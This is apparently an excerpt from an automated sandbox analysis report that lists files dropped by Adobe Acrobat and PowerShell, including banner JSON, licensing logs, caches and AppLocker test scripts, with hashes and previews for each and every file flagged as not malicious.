Preview:	{"analyticsData":{"responseGUID":"2d9a15dc-424c-4c48-8230-5ce08cecd94d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736703324656,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2391876561803805
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFhrGbpH2UXjb24kF0YQ9oAvJf+dPeUkwRe9:YvXKXFW12UTbdfSG28Ukee9
MD5:	8DEE9311F590DD62C7F724B1EA2E09B2
SHA1:	8EFFA86A2CD6EFB4E4849ED0C658D9F686C57E15
SHA-256:	93EC18AC2054765EF80EF311877BF4F79C9F9B901289C095F92F025D0036F032
SHA-512:	ED3307640F9A1293C5031CD2558616349A82935DB1C5CD29E95C3C581DC059B917B3C13DA44EF2D4517450C75C8CA5C537965DD77D1BF15D61CA501EBB417922
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d9a15dc-424c-4c48-8230-5ce08cecd94d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736703324656,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.23751986416899
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFhrGbpH2UXjb24kF0YQ9oAvJfbPtdPeUkwRe9:YvXKXFW12UTbdfSGDV8Ukee9
MD5:	49A78A6CFD5757469313242EF34CC700
SHA1:	EF9199C6F97A8494D555D03ECA660911A448AD5F
SHA-256:	C1905BF0457ED90644A03B3A7E0A031C3C2155199F00EDEB89D5E30BF45631F8
SHA-512:	FF1B9A0C992B9C59C901F341EC3EB00D09C04FF15970AB1F448A9FBCF04C968F1BCDB4BE77733AB987B0F1E499499E372210E4D7D263F743B241543EFD4ADA21
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d9a15dc-424c-4c48-8230-5ce08cecd94d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736703324656,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.239945309327852
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFhrGbpH2UXjb24kF0YQ9oAvJf21rPeUkwRe9:YvXKXFW12UTbdfSG+16Ukee9
MD5:	64D7ECDCD2FF429F306C627AA23AD0D2
SHA1:	DBC9FEDE25EA0588B37A61FCB0FF2030EF3C16D5
SHA-256:	565C1149FC995D83ECDD3D06F3DB61DFFEAA0233BE5BC276F1E4BB620BAC9630
SHA-512:	915569AE519734499C8DEB153A2DED2BFB7C5B76BC05AA839BB442396D2FCEE766EECD591800C2FE113366A0D7503DE536A2024C89F7B412A9869CE77A8E5A0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d9a15dc-424c-4c48-8230-5ce08cecd94d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736703324656,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.650531593807914
Encrypted:	false
SSDEEP:	24:Yv6XdUXt3amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSwdQ:YvowVBgkDMUJUAh8cvMoQ
MD5:	54355219AE113939F97A874A5A44063C
SHA1:	DD409E077976295BB49CB1F3CDB81C9C7844E045
SHA-256:	3E7B6AA1AE7D87F08BC07203CB082F4B7ACC817D29A55B0680224FAC311590D4
SHA-512:	ED36CAE92F26DDF4B33E2831A80CA0F77FD55798DF47E648D92382600955FFAF890DA307CE43FAC8D5EB37D1A7D37F136E018444378B60A96E45AF44FD9A42CA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d9a15dc-424c-4c48-8230-5ce08cecd94d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736703324656,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.214165651737379
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFhrGbpH2UXjb24kF0YQ9oAvJfshHHrPeUkwRe9:YvXKXFW12UTbdfSGUUUkee9
MD5:	C1F4104191FBE780284D590DFC379DFD
SHA1:	032EC0E25A5FD47FF455ABA9B3E9B42F231E467F
SHA-256:	69A0A5F820DC902A775D8A2B585ACC181D08FAD565C97B29C93D3FA4F99B6EEB
SHA-512:	FFF465AC24A94AAD8D6A705B0EF408E0F09F02E9044800934227B8E5C0BBD5EEFBA5C7781B388DF2C0033459F99D2BB0EC68EF81606B9E829B0B56CB64091611
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d9a15dc-424c-4c48-8230-5ce08cecd94d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736703324656,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.223310610524185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFhrGbpH2UXjb24kF0YQ9oAvJTqgFCrPeUkwRe9:YvXKXFW12UTbdfSGTq16Ukee9
MD5:	3B2AFA179B23799D0BAA7D9476060520
SHA1:	54BCF69A50A7C19A560497CFB18474DC1D5779C8
SHA-256:	43103636158EF02DC785CA7B24FA96ECDCE465C0315CABFF9F2C49F02D67D56C
SHA-512:	9677BC68E07780FEF87C303948675BBD06813CBA8266FA53D81598284FCC4AA78B70D1FB1F94BB3D117C3F31F83259A12F87E467DEE0E3A3703F46D022D610F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d9a15dc-424c-4c48-8230-5ce08cecd94d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736703324656,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144403721404954
Encrypted:	false
SSDEEP:	24:YZPaVay0mDyx33v46bK5S1jtEsj0S3igb2O2LSpCr/LsE5xrC/25YgE39a/lHlbQ:Y1dAn5o2+hT7AsE5h+F39OHlKp
MD5:	00854390DB5EA7BC2A1EEE74A0F5529C
SHA1:	A50EA757ACBCAC229E1FCCB283C1004D05D3D384
SHA-256:	768B21281BDFB37B909BFDA3EF346593C56BC6BEAF6FFDC35BB24922A79324DC
SHA-512:	515C96314A7AA7B9FDC10EFBE687F41677CE41959BD663C344327C836850E26E8DCE94C43E16755AAE5D1405A3E9F18E195D95B8CCFF612EB25A6CF42CCAAFC8
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4fd246c52d862a74a9f1454639834453","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736525964000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"fb369fb2b0c33a8a118cda7149108d03","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736525964000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"2894c0348505fa92bc8aa9a597be1843","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736525964000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"6582f80fa75e2380451580e506bf95a0","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736525964000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f28c7aacb87609a1db265341d79cea4c","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736525964000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5723b64bd40f02f8cce151c34035adad","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3195636200161152
Encrypted:	false
SSDEEP:	48:TGufl2GL7msUKB0M0+Tb608YqSBpzrCSBp6:lNVmsTFb608YHT3T6
MD5:	4AE0D68ECB95F42E535A45E423FE20E6
SHA1:	EB8C5896AE5818A1B018DCF10FDA02CF4D6C44FD
SHA-256:	2F71EDAC8B24B265F4455B338F56DA493E2B79D93AD5E5538ABDA0D2BDE7ECC9
SHA-512:	AB7C2E06601904C39B16BC9D64F53F43DF34E9B5CC239DC54B35862568BC77EAB6CC6539FFB017FFEBF89CF4E205B16BAFCEE976D322391E6A6B446890A9C949
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.783122556300089
Encrypted:	false
SSDEEP:	48:7MjKB0M0+Tb608YqSBpqrGK5pqFl2GL7mszn:7RFb608YHT+LKVmsz
MD5:	3D5D55093F5FA3849BBA653DC2B088A4
SHA1:	39962B36C1E9B53E927FE3D60ACE2BF647B01BD1
SHA-256:	F4622C07DC1CD87254ED2C2B8FA03CB3F2C254EF1AD6F44FFD9AF3A205DA02E0
SHA-512:	E921E78C917AE386E2A17FE0B90AF454EB5A7D9377374E91F682E5359ADE9F21C4628434852DA9F1FF0451647CA39B161B307C96C458BC1E50F050B83E7F15F0
Malicious:	false
Preview:	.... .c.......z..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgovmwhfOtfHSc0hTbLN4N5CsyqYyu:6a6TZ44ADEovhfOtfHf0ACHqK
MD5:	3DC9615AC8150464DB643D91B55D374B
SHA1:	92E229CF4BADA9ADABE2C41CFFF38901BAAB1787
SHA-256:	1AD765A1B57BAE64D2AB4B6601D0B1D8157419FADD997903C2818BAE5D67588F
SHA-512:	46D9FFEB6318B2720D6F912960D51DCFF1AFC2F05C440DD1C1CAA1383D443D9AD1599B36BEB4347702CBD7E7D7681D65AA56D26ACB7E7C74D76AC3B9498A1D15
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nllluldhz/lL:NllU
MD5:	03744CE5681CB7F5E53A02F19FA22067
SHA1:	234FB09010F6714453C83795D8CF3250D871D4DF
SHA-256:	88348573B57BA21639837E3AF19A00B4D7889E2D8E90A923151AC022D2946E5D
SHA-512:	0C05D6047DBA2286F8F72EB69A69919DC5650F96E8EE759BA9B3FC10BE793F3A88408457E700936BCACA02816CE25DD53F48B962491E7F4F0A4A534D88A855E6
Malicious:	false
Preview:	@...e.................................L..............@..........

C:\Users\user\AppData\Local\Temp\MSI86a47.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.499838153709141
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEPKCH:Qw946cPbiOxDlbYnuRK+bDv
MD5:	FDCF59A41E44E1438565ED3B73D4915A
SHA1:	56C87B74F42D1BBA34F7164AA0F1682621DD1FF6
SHA-256:	60CC3F88C023719325F17ED4EBFBAF3B6329B6D5EC88268728DBC2AB275E558B
SHA-512:	77567BF36E459C06B0D11F1E5C29F0AE9338117756F15AC4E0BC14F8747DAC3C03A807341F74679A239191763756EF77B9869FFBAF69BCA17797FFA0F22F939F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.1.9.:.2.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fvmcitov.cpe.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rrlbhz3k.xuu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-19-18-002.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15111
Entropy (8bit):	5.335254833921991
Encrypted:	false
SSDEEP:	384:D/zWDDrMBHssZDa9HMhsEvkcM8xj+J1AMrjp3T5B3xS3RW9QwPhp2R2nSdTeqVV6:JVA
MD5:	53FD7CA9463EF9E289B7B9C6AEA2F0D9
SHA1:	61A0810F0FB1F4B2200EFDAD7AF5FCE7B35C3C08
SHA-256:	0E959DCEB68A575E2E3AC9E597AEF76766F5F731B4FF917CE53EF5B4C7A1DD00
SHA-512:	27440F5A925B816A9886B665CC76DAE348D2AEF372472074C3D1E3D0158DBB0B1B1F8F47C32E21A913D2FBAF3E67063BFA5431707EDFD90B6F9177F1C280CE0D
Malicious:	false
Preview:	SessionID=20ef7e2e-e1d2-4bc7-a330-df987c2797d9.1736525958016 Timestamp=2025-01-10T11:19:18:016-0500 ThreadID=5840 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=20ef7e2e-e1d2-4bc7-a330-df987c2797d9.1736525958016 Timestamp=2025-01-10T11:19:18:018-0500 ThreadID=5840 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=20ef7e2e-e1d2-4bc7-a330-df987c2797d9.1736525958016 Timestamp=2025-01-10T11:19:18:018-0500 ThreadID=5840 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=20ef7e2e-e1d2-4bc7-a330-df987c2797d9.1736525958016 Timestamp=2025-01-10T11:19:18:018-0500 ThreadID=5840 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=20ef7e2e-e1d2-4bc7-a330-df987c2797d9.1736525958016 Timestamp=2025-01-10T11:19:18:018-0500 ThreadID=5840 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.406346189152864
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zmf:EGvIcNYd0ctCAHI
MD5:	2FE06BD0E9C29E37F4950A29E5873F06
SHA1:	FDCC766D41AE7839531D2F65A300FDE555978950
SHA-256:	714D2F48F118FE2E2BFC445FAA89189F49495C45215C2E57651A0A2DDCD389A8
SHA-512:	BD3184503A0D733F7D4F92F1D990C2518859CB749D0380295B40FFDCC700B9D03A742E0C5AF363D80D9B6B5224BEDECC54B4C5C06648E6E478F66BCD1D2CCEDC
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\9e870038-fa6d-4cc5-9881-fa53ff085bd3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ebcd9f90-5fb1-4bf4-9b2d-315b3e6e879a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oywYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxywZG6GZn3mlind9i4ufFXpAXkru
MD5:	FFA982D6F2F9B46A1DECDD28BF3EF0E1
SHA1:	B1D05ED9BD6A80BD0E3377E9F62B47EF83FCC0C8
SHA-256:	93D954FA4BBEDCDFBC7BF14FA1BB3986056261F4A5035C3CFF229FF16D12B78B
SHA-512:	BF2931508F2039FFF4A74EC9B2FF2706FCF05DC5D56E22CA9C74B7C4AF9E8B4173419791DE648FD77AE7C4B441734E7C70C964A2B91C816FC98C9BA78BEB7879
Malicious:	false
